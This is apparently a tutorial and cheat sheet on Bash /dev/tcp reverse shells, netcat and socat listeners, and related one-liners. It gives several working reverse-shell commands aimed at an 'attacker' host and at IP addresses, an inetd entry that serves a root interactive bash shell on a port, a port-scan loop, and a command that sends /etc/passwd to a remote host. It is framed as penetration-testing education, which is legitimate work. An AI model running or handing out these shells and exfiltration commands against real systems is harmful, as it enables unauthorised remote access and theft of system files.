Understanding Bash Reverse Shells and Port Listeners

Reverse shells are a common technique in penetration testing to gain remote interactive access to a machine. They rely on the target system initiating an outbound connection to an operator-controlled host. One of the simplest examples uses Bash and the /dev/tcp interface.

What the Command Does

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

This command tells Bash to:

  • Start an interactive shell.
  • Open a TCP connection to 10.0.0.1 on port 4242.
  • Redirect standard input and output through that network connection.

When successful, the remote operator gains an interactive shell session. This method is frequently used in authorized security assessments but must never be run on systems without permission.

Required Service on Port 4242

For the reverse shell to work, the remote host must have a listener waiting on port 4242. The reverse connection will fail if nothing is listening.

Netcat Listener

Netcat is the most common tool used:

nc -lvp 4242

This command:

  • Listens on port 4242.
  • Waits for an inbound TCP connection.
  • Provides an interactive interface once the reverse shell connects.

Socat Listener

An alternative tool is socat, which also supports interactive shells:

socat tcp-l:4242,fork stdout

This also waits for the reverse-shell connection and forwards the input and output to the operator.

Custom TCP Services

Any service that accepts a TCP connection and can handle interactive input/output can be used. The key requirement is that something must be actively listening on port 4242.

Linux includes built-in tools that can act as a basic TCP listener without installing anything.

1. Bash /dev/tcp Listener (built-in)

Many Bash versions support a very simple listener using /dev/tcp:

bash -c 'cat < /dev/tcp/0.0.0.0/4242'

This accepts a connection but does not provide an interactive shell. It only shows raw incoming data.

2. inetd or xinetd (usually installed by default on some distros)

You can enable a listener by adding a service entry, for example:

shell  stream  tcp  nowait  root  /bin/bash  bash -i

Then restart inetd.
This creates an interactive shell listener, but it’s rarely enabled by default for security reasons.

3. systemd Socket Activation (built-in on all modern Linux)

You can create a socket listener without any external utilities:

Example socket unit:

[Socket]
ListenStream=4242

[Install]
WantedBy=sockets.target

And a matching service unit launching a program when a connection arrives.

Important Note

Linux does not ship with a simple, safe, interactive TCP listener like Netcat or Socat by default, because that would create security risks. Bash’s /dev/tcp can listen in a limited way, but it can’t give an operator a proper terminal session.

If you want a real interactive listener, you must install a tool such as:

  • nc (Netcat)
  • ncat (from Nmap)
  • socat

Other Examples

# Check Open port
timeout 0.5 echo -n 2>/dev/null < /dev/tcp/127.0.0.1/7777 && echo "open" || echo "closed"

# Port Scan

for port in {1..8888}; do
  echo -n 2>/dev/null < /dev/tcp/127.0.0.1/$port && echo "$port/tcp open"
done

seq 1 65535 | while read port; do echo $port 2>/dev/null >/dev/tcp/127.0.0.1/$port && echo $port open; done


# Read TCP stream

cat < /dev/tcp/time.nist.gov/13

# File Transfer

Sender nc -lvnp 7777 < file.txt
Receiver cat < /dev/tcp/sender/7777 > file.txt

local$ nc -nvlp 80 < file.txt
remote$ cat </dev/tcp/local/80 > file.txt


local$ nc -nvlp 80 > file.txt
remote$ cat /etc/passwd >/dev/tcp/local/80
 
 
nc -lvnp 7777 > file.txt
cat file.txt > /dev/tcp/receiver/7777

# Reverse Shell

nc -lvnp 7777
bash -c 'bash -i >& /dev/tcp/attacker/7777 0>&1'

local$ nc -nvlp 80
remote$ /bin/bash -i &> /dev/tcp/192.168.1.1/80 0>&1
remote$ /bin/bash -c 'exec bash -i &> /dev/tcp/192.168.1.1/80 <&1'

# HTTP Reqest

exec 5<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: www.google.com\r\nConnection: close\r\n\r\n" >&5
cat <&5

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3

Summary

A Bash reverse shell relies on directing the shell’s input and output through a TCP connection. The command itself does not create a listener; it only connects outbound. The remote host must run a dedicated listener such as Netcat or socat on the specified port. Without that listener, the connection fails and no shell is created.

Reference